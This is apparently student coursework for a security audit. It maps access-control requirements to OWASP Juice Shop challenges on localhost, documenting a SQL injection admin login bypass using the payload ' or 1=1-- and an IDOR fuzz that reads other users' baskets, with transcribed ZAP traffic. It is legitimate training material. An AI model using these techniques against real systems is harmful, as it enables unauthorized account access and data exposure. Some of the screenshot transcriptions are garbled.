

**Security Audit and Certification
Coursework
PART 2**

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Security audit

FDP_ACC.1.1 The TOE shall enforce the systems access control SFP on all subjects, all objects, and all operations among subjects and objects covered by the SFP.

SFR Identifier: In FDP_ACC.1.1, the PP/ST author should specify a uniquely named access control SFP to be enforced by the TSF, and author should specify the list of subjects, objects, and operations among subjects and objects covered by the SFP. This relates with Challenges from the category "Broken Access Control"

Related vulnerability challenges:

- Admin Section
- CSFR
- Easter Egg
- Five-Star Feedback
- Forged Feedback
- Forged Review
- Manipulate Basket
- Product Tampering
- SSRF
- View Basket
- Web3 Sandbox

Tested Vulnerability Challenges:

Admin Login

(a) Description of penetration testing that was carried out for VC1

1. Login to the TOE i.e. OWASP Juice Shop using any credentials. I used asb@abs.com with password as asd but since the user doesn't exist it gives me "*invalid user or password error*". Ref pic#1.
2. Since most of the site doesn't handle the special character properly I tried using email as ' and password as asdqw. Which didn't technically return an error but gave sql jargon which lead me to believe that I can injection is possible.
3. Then I did a right click on the POST method of the api, rest/user/login and under attack when and started fuzz attack.
4. In Requester or fuzz attack I gave email as 'or1=1-- password : asdqw (Ref pic#4). The or1=1 returns TRUE returning all the rows and -- comments out the rest i.e. no need for the password.
5. The ZAP then returns 200 response with the username of the admin and token for the password.
6. After using the admin email id : admin@juice-sh.op and password: asdqw, the login to the juice shop store is successful.
7. We can access the administration page by using the following path:
<https://127.0.0.1:3000/#/administration>
8. Here, we can access the email id of all the registered users as well as the customer feedback.

9. In this way, Admin access control was broken, and challenge of Admin Section and Admin Login were solved.

(b) Outcomes (evidence) of the penetration testing in (a)

The screenshot shows two instances of the ZAP 2.14.0 interface. The top instance displays a successful login attempt. The Request tab shows the following header and body:

```

Header: Text
Body: Text
Content-Type: application/json
Origin: https://127.0.0.1:3000
Connection: keep-alive
Cookie: language=en; welcomebanner_status=dismiss
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"email": "asb@abs.com", "password": "asd"}

```

The bottom instance shows the response to the login attempt. The Response tab displays the following headers and body:

```

HTTP/1.1 401 Unauthorized
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self'
X-Recruiting: /#jobs
Content-Type: text/html; charset=utf-8
Content-Length: 26

Invalid email or password.

```

The ZAP interface includes a navigation bar, a sidebar with contexts and sites, and a bottom toolbar with various icons and status indicators.

The screenshot shows the ZAP 2.14.0 interface. The left sidebar displays 'Contexts' and 'Sites', with 'Default Context' and several sites listed under 'Sites'. The main pane shows a 'Request' tab with a POST method. The 'Header: Text' section contains:

```
POST http://127.0.0.1:3000/rest/user/login HTTP/1.1
host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: https://127.0.0.1:3000/
Content-Type: application/json
Content-Length: 32
Origin: https://127.0.0.1:3000
Connection: keep-alive
```

The 'Body: Text' section contains the JSON payload:

```
{"email": "", "password": "asdqw"}
```

The screenshot shows the ZAP interface with the following details:

- Header:** HTTP/1.1 500 Internal Server Error
- Access-Control-Allow-Origin:** *
- X-Content-Type-Options:** nosniff
- X-Frame-Options:** SAMEORIGIN
- Feature-Policy:** payment 'self'
- X-Recruiting:** #/jobs
- Content-Type:** application/json; charset=utf-8
- Vary:** Accept-Encoding
- Date:** Sat, 20 Apr 2024 18:08:15 GMT
- Connection:** keep-alive

The payload sent was:

```
SELECT * FROM Users WHERE email = '' AND password = '26b5542258bc1994b7423fb175caf101' AND deletedAt IS NULL
),
"original": {
"errno": 1,
"code": "SQLITE_ERROR",
"sql": "SELECT * FROM Users WHERE email = '' AND password = '26b5542258bc1994b7423fb175caf101' AND deletedAt IS NULL"
},
"sql": "SELECT * FROM Users WHERE email = '' AND password = '26b5542258bc1994b7423fb175caf101' AND deletedAt IS NULL"
```

The ZAP interface also displays a table of recent requests and responses, showing a successful 401 Unauthorized response for a login attempt.

The screenshot shows two windows from the ZAP 2.14.0 tool.

Top Window (ZAP Requester):

- Sites:** Shows contexts and sites, including https://cdnjs.cloudflare.com, http://127.0.0.1:3000, and https://spocs.getpocket.com.
- Request/Response Headers:** Displays the response headers for a request to https://spocs.getpocket.com, including:
 - HTTP/1.1 200 OK
 - Access-Control-Allow-Origin: *
 - X-Content-Type-Options: nosniff
 - X-Frame-Options: SAMEORIGIN
 - Feature-Policy: payment 'self'
 - X-Recruiting: /#/jobs
 - Content-Type: application/json; charset=utf-8
 - Content-Length: 125
 - ETag: W/"7d-GvyDAsmsTTBUVaZZ6hoqGframa"
- Request Body:** Shows the JSON response body:


```
{"user":{"id":1,"email":"admin@juice-sh.op","lastLoginIp":"","profileImage": "assets/public/images/uploads/defaultAdmin.png"}}
```
- History:** Shows a list of network requests and responses, including:

ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp. Body	Highest Alert	Note	Tags
121	Pr...	4/20/24, 7:10:11 PM	POST	http://127.0.0.1:3000/rest/user/login	200	OK	1...	799 bytes		Medium		JSON
122	Pr...	4/20/24, 7:10:11 PM	GET	http://127.0.0.1:3000/rest/user/whoami	200	OK	5...	125 bytes				
123	Pr...	4/20/24, 7:10:11 PM	GET	http://127.0.0.1:3000/rest/user/whoami	200	OK	6...	125 bytes		Medium		JSON
124	Pr...	4/20/24, 7:10:11 PM	GET	http://127.0.0.1:3000/rest/basket/1	200	OK	2...	1,310 bytes				
127	Pr...	4/20/24, 7:10:11 PM	GET	http://127.0.0.1:3000/rest/products/search...	304	Not Mod...	1...	0 bytes		Informati...		
126	Pr...	4/20/24, 7:10:11 PM	GET	http://127.0.0.1:3000/api/Quantities/	304	Not Mod...	1...	0 bytes				
128	Pr...	4/20/24, 7:10:11 PM	GET	http://127.0.0.1:3000/#/search	200	OK	1...	799 bytes				

Bottom Window (OWASP Juice Shop):

- Address Bar:** https://127.0.0.1:3000/#/search
- Alert Message:** You successfully solved a challenge: Login Admin (Log in with the administrator's user account.)
- Product List:** All Products

Image	Name	Price
Apple Juice (1000ml)	1.99	Add to Basket
Apple Pomace	0.89	Add to Basket
Banana Juice (1000ml)	1.99	Add to Basket
- Cookie Notice:** This website uses fruit cookies to ensure you get the juiciest tracking experience. [But me wait!](#) [Me want it!](#)
- Bottom Navigation:** History (65), WebSockets (248).

(c) Explanation of how the evidence included in (b) proves that SFR_i is violated.

The penetration testing involved using random credentials and exploiting a SQL injection vulnerability. Through fuzz testing, we successfully accessed the admin panel using 'or 1=1-- as an email and retrieved admin credentials. This enabled unauthorized access to user

information and feedback, confirming the vulnerabilities in the Admin Section and Admin Login, and highlighting the need for robust input validation.

VC2 View Basket

(a) Description of penetration testing that was carried out for View Basket

1. New user registration using email = apoorva@juice.com, password = Apoorva@123
2. After successful registration, added few items like Apple juice, Apple Pomace, Banana Juice in the basket.
3. Clicking on the POST proxy `http://127.0.0.1:3000/api/BasketItems/` path in history, we can get the json object of { "ProductId":42, "BasketId": 6, "Quantity":1} in Zap request.
4. We must create fuzz attack using the Get proxy <http://127.0.0.1:3000/rest/basket/6>. Use right click and under attack find Fuzz.
5. Select the basketId “6” in the get request path. Now, create a payload from 1 to 10 and click Start.
6. The successful Fuzzed outputs can be seen in fuzzer console with Json data containing basketId = 1,2,3,4,5,6 and basket Items in the response.
7. In this way we successfully viewed the basket items of other user and violating the access control.

(b) Outcomes (evidence) of the penetration testing in (a)

The screenshot shows a browser window with the URL `https://127.0.0.1:3000/#/register`. The page title is "User Registration". The form fields are as follows:

- Email: apoorva@juice.com
- Password: (redacted)
- Repeat Password: (redacted)
- Show password advice: Off
- Security Question: Your eldest sibling's middle name?
- Answer: Avanish

A message at the bottom right says: "This website uses fruit cookies to ensure you get the juiciest tracking experience. But me wait!" with a "Me want it!" button. The browser interface includes a navigation bar with tabs like History (11), WebSockets (1579), and a toolbar with various icons.

Screenshot of a Firefox browser window showing the OWASP Juice Shop login page at <https://127.0.0.1:3000/#/login>. The login form has 'Email' set to 'apoorva@juice.com' and 'Password' set to 'password'. The 'Log in' button is being clicked.

The ZAP (Zed Attack Proxy) interface is open below, showing an intercept session titled 'Untitled Session - originalcoursework - ZAP 2.14.0'. The 'Request' tab displays a POST request to `http://127.0.0.1:3000/api/Users/` with the following JSON payload:

```

POST http://127.0.0.1:3000/api/Users/ HTTP/1.1
host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: https://127.0.0.1:3000/
Content-Type: application/json
Content-Length: 261

{
  "email": "apoorva@juice.com",
  "password": "Apoorva@1",
  "passwordRepeat": "Apoorva@1",
  "securityQuestion": {
    "id": 1,
    "question": "Your eldest siblings middle name?"
  },
  "createdAt": "2024-04-27T20:39:08.215Z",
  "updatedAt": "2024-04-27T20:39:08.215Z",
  "securityAnswer": "Avanish"
}

```

The ZAP interface also shows a table of captured network traffic with the following data:

ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp. Body	Highest Alert	Note	Tags
14,...	Pr...	4/29/24, 11:29:30...	POST	http://127.0.0.1:3000/rest/user/login	500	Internal ...	4...	1,203 bytes	⚠ Medium	JSON		
14,...	Pr...	4/29/24, 11:29:30...	GET	http://127.0.0.1:3000/rest/user/whoami	200	OK	5...	11 bytes				
14,...	Pr...	4/29/24, 11:29:30...	GET	http://127.0.0.1:3000/rest/user/whoami	200	OK	7...	11 bytes	⚠ Medium	JSON		
14,...	Pr...	4/29/24, 11:32:44...	GET	http://127.0.0.1:3000/api/SecurityQuestions/	200	OK	3...	1,934 bytes	⚠ Medium	JSON		
14,...	Pr...	4/29/24, 11:37:34...	POST	http://127.0.0.1:3000/api/Users/	201	Created	4...	308 bytes	⚠ Medium	JSON		
14,...	Pr...	4/29/24, 11:37:34...	POST	http://127.0.0.1:3000/api/SecurityAnswers/	201	Created	2...	226 bytes	⚠ Medium	JSON		

The ZAP interface also displays a summary of current scans with 0 alerts, 0 vulnerabilities, 0 risks, and 0 findings.

Untitled Session - originalcoursework - ZAP 2.14.0

File Edit View Analyse Report Tools Import Export Online Help

Sites + Quick Start Request Response Requester +

Header: Text Body: Text

HTTP/1.1 201 Created

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Routing: /#jobs

Location: /api/Users/22

Content-Type: application/json; charset=utf-8

```
{"status": "success", "data": {"username": "", "role": "customer", "deluxeToken": "", "lastLoginIp": "0.0.0.0", "profileImage": "/assets/public/images/uploads/default.svg", "isActive": true, "id": 22, "email": "apoorna@juice.com", "updatedAt": "2024-04-29T10:37:34.105Z", "createdAt": "2024-04-29T10:37:34.105Z", "deletedAt": null}}
```

History Search Alerts Output WebSockets +

Filter: OFF Export

ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp. Body	Highest Alert	Note	Tags
14,...	Pr...	4/29/24, 11:29:30...	POST	http://127.0.0.1:3000/rest/user/login	500	Internal ...	4...	1,203 bytes	Medium		JSON	
14,...	Pr...	4/29/24, 11:29:30...	GET	http://127.0.0.1:3000/rest/user/whoami	200	OK	5...	11 bytes	Medium		JSON	
14,...	Pr...	4/29/24, 11:29:30...	GET	http://127.0.0.1:3000/rest/user/whoami	200	OK	7...	11 bytes	Medium		JSON	
14,...	Pr...	4/29/24, 11:32:44...	GET	http://127.0.0.1:3000/api/SecurityQuestions/	200	OK	3...	1,934 bytes	Medium		JSON	
14,...	Pr...	4/29/24, 11:37:34...	POST	http://127.0.0.1:3000/api/Users/	201	Created	4...	308 bytes	Medium		JSON	
14,...	Pr...	4/29/24, 11:37:34...	POST	http://127.0.0.1:3000/api/SecurityAnswers/	201	Created	2...	226 bytes	Medium		JSON	

Alerts 2 11 15 13 Main Proxy: 127.0.0.1:8081 Current Scans 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0

Untitled Session - originalcoursework - ZAP 2.14.0

File Edit View Analyse Report Tools Import Export Online Help

Sites + Quick Start Request Response Requester +

Header: Text Body: Text

POST http://127.0.0.1:3000/api/SecurityAnswers/ HTTP/1.1

host: 127.0.0.1:3000

User-Agent: Mozilla/5.0 (X11; Linux arch64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: application/json, text/plain, */*

Accept-Language: en-US,en;q=0.5

Referer: https://127.0.0.1:3000/

Content-Type: application/json

Content-Length: 55

```
{"UserId":22,"answer": "Avanish", "SecurityQuestionId":1}
```

History Search Alerts Output WebSockets +

Filter: OFF Export

ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp. Body	Highest Alert	Note	Tags
17,...	Pr...	4/29/24, 11:29:30...	POST	http://127.0.0.1:3000/rest/user/login	500	Internal ...	4...	1,203 bytes	Medium		JSON	
14,...	Pr...	4/29/24, 11:29:30...	GET	http://127.0.0.1:3000/rest/user/whoami	200	OK	5...	11 bytes	Medium		JSON	
14,...	Pr...	4/29/24, 11:29:30...	GET	http://127.0.0.1:3000/rest/user/whoami	200	OK	7...	11 bytes	Medium		JSON	
14,...	Pr...	4/29/24, 11:32:44...	GET	http://127.0.0.1:3000/api/SecurityQuestions/	200	OK	3...	1,934 bytes	Medium		JSON	
14,...	Pr...	4/29/24, 11:37:34...	POST	http://127.0.0.1:3000/api/Users/	201	Created	4...	308 bytes	Medium		JSON	
14,...	Pr...	4/29/24, 11:37:34...	POST	http://127.0.0.1:3000/api/SecurityAnswers/	201	Created	2...	226 bytes	Medium		JSON	

Alerts 2 11 15 13 Main Proxy: 127.0.0.1:8081 Current Scans 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0

Untitled Session - originalcoursework - ZAP 2.14.0

File Edit View Analyse Report Tools Import Export Online Help

Standard Mode Sites + Quick Start Request Response Requester +

Header: Text Body: Text

Contexts Default Context

Sites https://tiles-cdn.prc https://htmledit.si https://cdn.doub https://prebid.a https://s3.amaz https://z.moatac https://krk2.karg https://prebid.m https://f4100da https://prebid-se https://tagan.adl https://websdk.e

HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#jobs

Content-Type: application/json; charset=utf-8

Content-Length: 1229

```
{"status": "success", "data": {"id": 6, "coupon": null, "UserId": 22, "createdAt": "2024-04-29T10:42:35.578Z", "updatedAt": "2024-04-29T10:42:35.578Z", "Products": [{"id": 42, "name": "Best Juice Shop Salesman Artwork", "description": "Unique digital painting depicting Stan, our most qualified and almost profitable salesman. He made a successful career in selling used ships, coffins, krypts, crosses, real estate, life insurance, restaurant supplies, voodoo enhanced asbestos and courtroom souvenirs before finally adding his expertise to the Juice Shop marketing team.", "price": 5000, "deluxePrice": 5000, "image": "artwork2.jpg", "createdAt": "2024-04-27T20:39:08.931Z", "updatedAt": "2024-04-27T20:39:08.931Z", "deletedAt": null, "BasketItem": {"ProductId": 42, "BasketId": 6, "id": 9, "quantity": 1, "createdAt": "2024-04-29T10:44:20.379Z", "updatedAt": "2024-04-29T10:44:20.379Z"}, {"id": 1, "name": "Apple Juice (1000ml)", "description": "The all-time classic.", "price": 1.99, "deluxePrice": 0.99, "image": "apple_juice.jpg", "createdAt": "2024-04-27T20:39:08.925Z", "updatedAt": "2024-04-27T20:39:08.925Z", "deletedAt": null, "BasketItem": {"ProductId": 1, "BasketId": 6, "id": 10, "quantity": 1, "createdAt": "2024-04-29T10:44:25.982Z", "updatedAt": "2024-04-29T10:44:25.982Z"}]}}}
```

History Search Alerts Output WebSockets +

Filter: OFF Export

ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp. Body	Highest Alert	Note	Tags
14,...	Pr...	4/29/24, 11:44:20...	GET	http://127.0.0.1:3000/api/Products/42?d...	200	OK	1... 221 bytes	4...	858 bytes	Medium	JSON	
14,...	Pr...	4/29/24, 11:44:25...	GET	http://127.0.0.1:3000/rest/basket/6	200	OK	4...	0 bytes		Medium		
14,...	Pr...	4/29/24, 11:44:25...	POST	http://127.0.0.1:3000/api/BasketItems/	200	OK	1...	157 bytes		Medium	JSON	
14,...	Pr...	4/29/24, 11:44:26...	GET	http://127.0.0.1:3000/api/Products/1?d=M...	200	OK	3...	257 bytes		Medium	JSON	
14,...	Pr...	4/29/24, 11:44:26...	GET	http://127.0.0.1:3000/rest/basket/6	200	OK	3...	1,229 bytes		Medium	JSON	

Alerts 2 11 15 13 Main Proxy: 127.0.0.1:8081 Current Scans 0 0 0 0 0 0 0 0 0 0 0 0 0

Untitled Session - originalcoursework - ZAP 2.14.0

File Edit View Analyse Report Tools Import Export Online Help

Standard Mode Sites + Quick Start Request Response Requester +

Header: Text Body: Text

Contexts Default Context

Sites https://tiles-cdn.prc https://htmledit.si https://cdn.doub https://prebid.a https://s3.amaz https://z.moatac https://krk2.karg https://prebid.m https://f4100da https://prebid-se https://tagan.adl https://websdk.e

POST http://127.0.0.1:3000/api/BasketItems/ HTTP/1.1

host: 127.0.0.1:3000

User-Agent: Mozilla/5.0 (X11; Linux arch64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: application/json, text/plain, */*

Accept-Language: en-US,en;q=0.5

Referer: https://127.0.0.1:3000/

Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGFf0xMjoiJzdwNjZXNzIwiZGFOYSI6eyJpZCI6MjIisInVzZXJuWllIjoiIiwizW1haWwiOiJhcG9vcnZhQGplaWNLmNvbSIsInBhcn3Nb... ("ProductId": 42, "BasketId": "6", "quantity": 1}

History Search Alerts Output WebSockets +

Filter: OFF Export

ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp. Body	Highest Alert	Note	Tags
14,...	Pr...	4/29/24, 11:44:20...	POST	http://127.0.0.1:3000/api/BasketItems/	200	OK	1...	157 bytes		Medium	JSON	
14,...	Pr...	4/29/24, 11:44:20...	GET	http://127.0.0.1:3000/api/Products/42?d=...	200	OK	4...	591 bytes		Medium	JSON	
14,...	Pr...	4/29/24, 11:44:20...	GET	http://127.0.0.1:3000/rest/basket/6	200	OK	4...	858 bytes		Medium		
14,...	Pr...	4/29/24, 11:44:25...	GET	http://127.0.0.1:3000/rest/basket/6	304	Not Mod...	3...	0 bytes		Medium		
14,...	Pr...	4/29/24, 11:44:25...	POST	http://127.0.0.1:3000/api/BasketItems/	200	OK	1...	157 bytes		Medium	JSON	
14,...	Pr...	4/29/24, 11:44:26...	GET	http://127.0.0.1:3000/api/Products/1?d=M...	200	OK	2...	257 bytes		Medium	JSON	

Alerts 2 11 15 13 Main Proxy: 127.0.0.1:8081 Current Scans 0 0 0 0 0 0 0 0 0 0 0 0 0

Screenshot of ZAP 2.14.0 showing an analysis session titled "Untitled Session - originalcoursework".

The interface includes a top menu bar with File, Edit, View, Analyse, Report, Tools, Import, Export, Online, Help, and Protected Mode.

The main window displays a list of sites under "Sites" and a detailed request-response view for a specific target:

```

GET http://127.0.0.1:3000/rest/basket/6 HTTP/1.1
host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: https://127.0.0.1:3000/
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.
eyJzdGF0dXMiOiJzdWnjZXNzIiwibGFIY3I6eyJpZCI6MjIsInVzZXJuYW1lIjoiIiwidWIhaWwiOiJhcG9vcnZhQGplawNLmNvbSIsInBhc3N3b

```



The "Analysed Requests" table shows the following log entries:



ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp. Body	Highest Alert	Note	Tags
14,...	Pr...	4/29/24, 11:44:20...	GET	http://127.0.0.1:3000/rest/basket/6	200	OK	4...	888 bytes		Informational		
14,...	Pr...	4/29/24, 11:44:25...	GET	http://127.0.0.1:3000/rest/basket/6	304	Not Modified	3...	0 bytes		Medium		
14,...	Pr...	4/29/24, 11:44:25...	POST	http://127.0.0.1:3000/api/BasketItems/	200	OK	1...	157 bytes		Medium	JSON	
14,...	Pr...	4/29/24, 11:44:26...	GET	http://127.0.0.1:3000/api/Products/1?d=M...	200	OK	3...	257 bytes		Medium	JSON	
14,...	Pr...	4/29/24, 11:44:26...	GET	http://127.0.0.1:3000/rest/basket/6	200	OK	3...	1,229 bytes		Informational		
14,...	Pr...	4/29/24, 11:44:32...	GET	http://127.0.0.1:3000/rest/user/whoami	200	OK	2...	129 bytes		Medium	JSON	

The "Fuzzer" dialog is open, showing the same request details and a "Fuzz Locations" section with a payload editor and options for "Add...", "Remove", "Payloads...", and "Processors...".

The "Analysed Requests" table at the bottom of the fuzzer dialog shows the following log entries:

ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp. Body	Highest Alert	Note	Tags
14,...	Pr...	4/29/24, 12:03:16...	PUT	http://127.0.0.1:3000/api/BasketItems/12	200	OK	3...	155 bytes		Medium	JSON	
14,...	Pr...	4/29/24, 12:03:16...	GET	http://127.0.0.1:3000/rest/basket/6	200	OK	5...	1,230 bytes		Medium	JSON	
14,...	Pr...	4/29/24, 12:03:16...	GET	http://127.0.0.1:3000/rest/basket/6	200	OK	7...	1,230 bytes		Medium	JSON	





Screenshot of ZAP 2.14.0 showing a fuzzer session against an OWASP Juice Shop application.

ZAP Session Details:

- Session: Untitled Session - originalcoursework
- Mode: Standard Mode
- Selected Tab: Request
- Request URL: http://127.0.0.1:3000/#/basket
- Request Method: GET
- Request Headers:


```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self'
```
- Request Body (Raw):


```
{"status": "success", "data": {"id": 1, "coupon": null, "UserId": 1, "createdAt": "2024-04-27T20:39:09.107Z", "updatedAt": "2024-04-27T20:39:09.107Z", "Products": [{"id": 1, "name": "Apple Juice (1000ml)", "description": "The all-time classic.", "price": 1.99, "deluxePrice": 0.99, "image": "apple_juice.jpg", "createdAt": "2024-04-27T20:39:08.925Z", "updatedAt": "2024-04-27T20:39:08.925Z", "deletedAt": null, "BasketItem": {"ProductId": 1, "BasketId": 1, "id": 1, "quantity": 2, "createdAt": "2024-04-27T20:39:08.925Z", "updatedAt": "2024-04-27T20:39:09.160Z"}, {"id": 2, "name": "Orange Juice (1000ml)", "description": "Made from oranges hand-picked by Uncle Dittmeyer.", "price": 2.99, "deluxePrice": 2.49, "image": "orange_juice.jpg", "createdAt": "2024-04-27T20:39:08.925Z", "updatedAt": "2024-04-27T20:39:08.925Z", "deletedAt": null, "BasketItem": {"ProductId": 2, "BasketId": 1, "id": 2, "quantity": 3, "createdAt": "2024-04-27T20:39:09.160Z", "updatedAt": "2024-04-27T20:39:09.160Z"}], "id": 3, "name": "Banana Juice (500ml)"}, "description": "Now with even more exotic flavour.", "price": 0.99, "deluxePrice": 0.99}
```

Fuzzing Results:

Task ID	Message Type	Code	Reason	RTT	Size Resp. Header	Size Resp. Body	Highest Alert	State	Payloads
0	Original	200	OK	75 ms	387 bytes	1,230 bytes	Medium	Initial	
1	Fuzzed	200	OK	187 ms	387 bytes	1,310 bytes	Reflected	1	1
2	Fuzzed	200	OK	113 ms	386 bytes	557 bytes	Reflected	2	2
3	Fuzzed	200	OK	206 ms	386 bytes	557 bytes	Reflected	3	3
4	Fuzzed	200	OK	224 ms	386 bytes	558 bytes	Reflected	4	4
5	Fuzzed	200	OK	227 ms	386 bytes	946 bytes	Reflected	5	5
6	Fuzzed	200	OK	223 ms	387 bytes	1,230 bytes	Reflected	6	6
7	Fuzzed	200	OK	151 ms	384 bytes	30 bytes	Initial	7	7
8	Fuzzed	200	OK	169 ms	384 bytes	30 bytes	Initial	8	8
9	Fuzzed	200	OK	107 ms	384 bytes	30 bytes	Initial	9	9

OWASP Juice Shop Application Screenshot:

The screenshot shows the OWASP Juice Shop application's shopping basket page. A green banner at the top says "You successfully solved a challenge: View Basket (View another user's shopping basket.)". The basket contains two items: "Best Juice Shop Salesman Artwork" (1 item, 5000₹) and "Apple juice (1000ml)" (1 item, 1.99₹). The total price is 5001₹. A cookie consent banner at the bottom right says "This website uses fruit cookies to ensure you get the juiciest tracking experience. But me wait!" with a "Me want it!" button.

(c) Explanation of how the evidence included in (b) proves that SFR_i is violated:

To test the "View Basket", we registered a new user with the email apoorva@juice.com and the password Apoorva@123. After successfully registering, we added items such as Apple Juice, best juice shop salesman to the basket.

By observing the POST request to /api/BasketItems/, we found a JSON object having ProductId, BasketId, and Quantity. Then we created a fuzz attack on the GET request to /rest/basket/6 using the basket ID "6". The payloads were from 1 to 10. This attack revealed basket items from other users, including JSON data for basket IDs 1 through 6. We were able to successfully access the baskets of other users, violating access control.

This test demonstrated a lack of proper access control, allowing unauthorized access to private data and exposing sensitive user information.

1) SFR Identifier: -

FDP_ACC.2.2 - The TOE shall ensure that all operations between any subject controlled by the TOE, and any object controlled by the TOE are covered by an access control SFP.

Related Vulnerability Challenges: -

1. Admin Section
2. CSRF
3. Forged Feedback
4. Forged Review
5. Manipulate Basket
6. Product Tampering
7. Deluxe Fraud:
8. Leaked Access Logs
9. Leaked Unsafe Product
10. View Basket
11. Web3 Sandbox


VC: Admin Section

(a) Description of penetration testing that was carried out for VC₁

1. Login to the TOE i.e. OWASP Juice Shop using any credentials. I used asb@abs.com with password as asd but since the user doesn't exist it gives me "*invalid user or password error*".

2. Since most of the site doesn't handle the special character properly I tried using email as ‘ and password as asdqw. Which didn't technically return an error but gave sql jargon which lead me to believe that I can injection is possible.
3. Then I did a right click on the POST method of the api, rest/user/login and under attack when and started fuzz attack.
4. In Requester or fuzz attack I gave email as 'or1=1-- password : asdqw (Ref pic#4). The or1=1 returns TRUE returning all the rows and -- comments out the rest i.e. no need for the password.
5. The ZAP then returns 200 response with the username of the admin and token for the password.
6. After using the admin email id : admin@juice-sh.op and password: asdqw, the login to the juice shop store is successful.
7. We can access the administration page by using the following path:
<https://127.0.0.1:3000/#/administration>
8. Here, we can access the email id of all the registered users as well as the customer feedback.
9. In this way, Admin access control was broken, and challenge was solved.

(b) Outcomes (evidence) of the penetration testing in (a)



The screenshot shows the ZAP interface with the following details:

- Sites:** Shows three sites: cdnjs.cloudflare.com, http://127.0.0.1:3000, and https://spocs.getpocket.com.
- Requester Tab:** Displays a request to `http://127.0.0.1:3000/api/Quantities/` with the following headers and body:


```
Content-Type: application/json
Origin: https://127.0.0.1:3000
Connection: keep-alive
Cookie: language=en; welcomebanner_status=dissmiss
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
```

Body: `{"email": "asb@abs.com", "password": "asd"}`
- History Tab:** A table of captured requests:

ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp. Body	Highest Alert	Note	Tags
45	Pr...	4/20/24, 6:30:02 PM	GET	http://127.0.0.1:3000/api/Quantities/	200	OK	1...	5,991 bytes				
46	Pr...	4/20/24, 6:30:04 PM	GET	http://127.0.0.1:3000/api/Challenges/?name=asb	200	OK	1...	647 bytes				
52	Pr...	4/20/24, 6:30:05 PM	GET	http://127.0.0.1:3000/socket.io/?EIO=4&transport=polling&t=1708380605000	200	OK	6...	1 bytes	Medium			
66	Pr...	4/20/24, 6:30:06 PM	GET	http://127.0.0.1:3000/socket.io/?EIO=4&transport=polling&t=1708380606000	200	OK	2...	1 bytes	Medium			
67	Pr...	4/20/24, 6:31:17 PM	GET	http://127.0.0.1:3000/rest/admin/application	304	Not Modified	1...	0 bytes	Medium			
68	Pr...	4/20/24, 6:31:32 PM	GET	http://127.0.0.1:3000/rest/user/whoami	200	OK	1...	11 bytes	Medium	JSON		
70	Pr...	4/20/24, 6:31:32 PM	GET	http://127.0.0.1:3000/rest/user/whoami	200	OK	2...	11 bytes				
71	Pr...	4/20/24, 6:31:32 PM	POST	http://127.0.0.1:3000/rest/user/login	401	Unauthorized	4...	26 bytes	Medium			
- Alerts:** Shows 5 alerts, including 5 Main Proxy: 127.0.0.1:8081.

Screenshot of ZAP 2.14.0 showing an unauthorized response. The Response tab displays the following header and body:

```
HTTP/1.1 401 Unauthorized
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self'
X-Recruiting: /#/jobs
Content-Type: text/html; charset=utf-8
Content-Length: 26
--> https://127.0.0.1:3000/api/auth/login
```

The body contains the message: "Invalid email or password."

ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp. Body	Highest Alert	Note	Tags
45	Pr...	4/20/24, 6:30:02 PM	GET	http://127.0.0.1:3000/api/Quantities/	200	OK	2...	5,991 bytes				
46	Pr...	4/20/24, 6:30:04 PM	GET	http://127.0.0.1:3000/api/Challenges/?nam...	200	OK	1...	647 bytes				
52	Pr...	4/20/24, 6:30:05 PM	GET	http://127.0.0.1:3000/socket.io/?EIO=4&str...	200	OK	6...	1 bytes	⚠️ Medium			
66	Pr...	4/20/24, 6:30:06 PM	GET	http://127.0.0.1:3000/socket.io/?EIO=4&str...	200	OK	2...	1 bytes	⚠️ Medium			
67	Pr...	4/20/24, 6:31:17 PM	GET	http://127.0.0.1:3000/rest/admin/application	304	Not Mod...	1...	0 bytes	⚠️ Medium			
68	Pr...	4/20/24, 6:31:32 PM	GET	http://127.0.0.1:3000/rest/user/whoami	200	OK	1...	11 bytes	⚠️ Medium			
70	Pr...	4/20/24, 6:31:32 PM	GET	http://127.0.0.1:3000/rest/user/whoami	200	OK	2...	11 bytes				
